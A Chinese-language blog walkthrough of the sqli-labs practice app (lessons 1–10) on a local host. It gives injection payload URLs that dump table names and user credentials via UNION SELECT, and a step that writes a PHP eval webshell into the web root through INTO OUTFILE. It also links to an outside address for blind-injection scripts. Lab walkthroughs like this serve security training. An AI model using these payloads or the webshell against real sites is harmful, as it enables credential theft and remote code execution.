sqli-labs

发布于 2022-03-22  315 次阅读


Less-1
http://127.0.0.1:8082/Less-1/?id=1'

image-20220322143714772

产生报错,从错误信息中看出 ' 可以进行注入

http://127.0.0.1:8082/Less-1/?id=1' or 1=1%23

image-20220322143904978

成功访问。使用order by判断表的列数,最终测出来列数为3,超出3会报错

http://127.0.0.1:8082/Less-1/?id=1' order by 4%23
http://127.0.0.1:8082/Less-1/?id=1' order by 3%23

image-20220322144628566

image-20220322144647257

判断回显位

http://127.0.0.1:8082/Less-1/?id=-1' union select 1,2,3%23

image-20220322145016486

回显位为2,3。说明返回了第二列第三列的内容。利用这两个位置进行数据回显

查看当前数据库表名
http://127.0.0.1:8082/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23

image-20220322145722136

查看表中有哪些列
http://127.0.0.1:8082/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%23

image-20220322145909614

http://127.0.0.1:8082/Less-1/?id=-1' union select 1,2,group_concat(username,password) from users%23

image-20220322150720881

Less-2
http://127.0.0.1:8082/Less-2/?id=1'

image-20220322151412141

从错误信息可以判断为数字型查询

http://127.0.0.1:8082/Less-2/?id=-1 or 1=1%23

image-20220322151609672

剩下步骤与Less-1相同

Less-3
http://127.0.0.1:8082/Less-3/?id='

image-20220322153113611

表明使用了 (' ') 包裹

http://127.0.0.1:8082/Less-3/?id=-1') or 1=1%23

image-20220322153226783

剩余步骤同上

Less-4
http://127.0.0.1:8082/Less-4/?id=1"

image-20220322154618906

判断使用了 (" ") 包裹

http://127.0.0.1:8082/Less-4/?id=-1") or 1=1%23

image-20220322154756729

剩余步骤同上

Less-5

为盲注,使用脚本进行爆破

得到结果:

image-20220322202838686

Less-6

image-20220323144601945

跟less-5类似,根据报错信息需要改变为 ?id=1"

通过脚本进行爆破

image-20220323144516795

Less-7
http://127.0.0.1:8082/Less-7/?id=1')) or 1=1%23

image-20220323152841702

通过回显判断存在注入点

这里可能会出现文件上传不成功的问题,造成这个问题的原因可能有两个

  1. 没有root权限,如果是本地搭建则不会出现这种问题

  2. 没有导入导出权限,原因是由参数secure_file_priv决定的,secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的

    • 当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出

    • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下

    • 当secure_file_priv的值没有具体值时(null值),表示不对mysqld 的导入|导出做限制

我是本地搭建,考虑第二种可能,打开my.ini文件进行参数修改,如果没有则直接添加即可

image-20220323161621738

设置完成后重启数据库即可成功上传

http://127.0.0.1:8082/Less-7/?id=1'))UNION SELECT 1,2,'<?php @eval($_post[“mima” ])?>' into outfile "c:\\wamp\\www\\sqllib\\Less-7\\yijuhua.php"%23

上传成功后进行post传送命令即可

Less-8

为布尔盲注,注入点为

http://127.0.0.1:8082/Less-8/?id=1'

使用脚本进行爆破即可

Less-9

为时间盲注,补充知识点

IF(expr1,expr2,expr3)
如果 expr1 是TRUE,则 IF()的返回值为expr2; 否则返回值则为 expr3。IF() 的返回值为数字值或字符串值,具体情况视其所在语境而定

使用时间盲注脚本进行爆破

Less-10

双引号时间盲注,修改脚本进行爆破即可

脚本请移至:http://47.118.40.97:8082/index.php/jiaoben/ 进行下载

Daniel_WRF
最后更新于 2023-09-22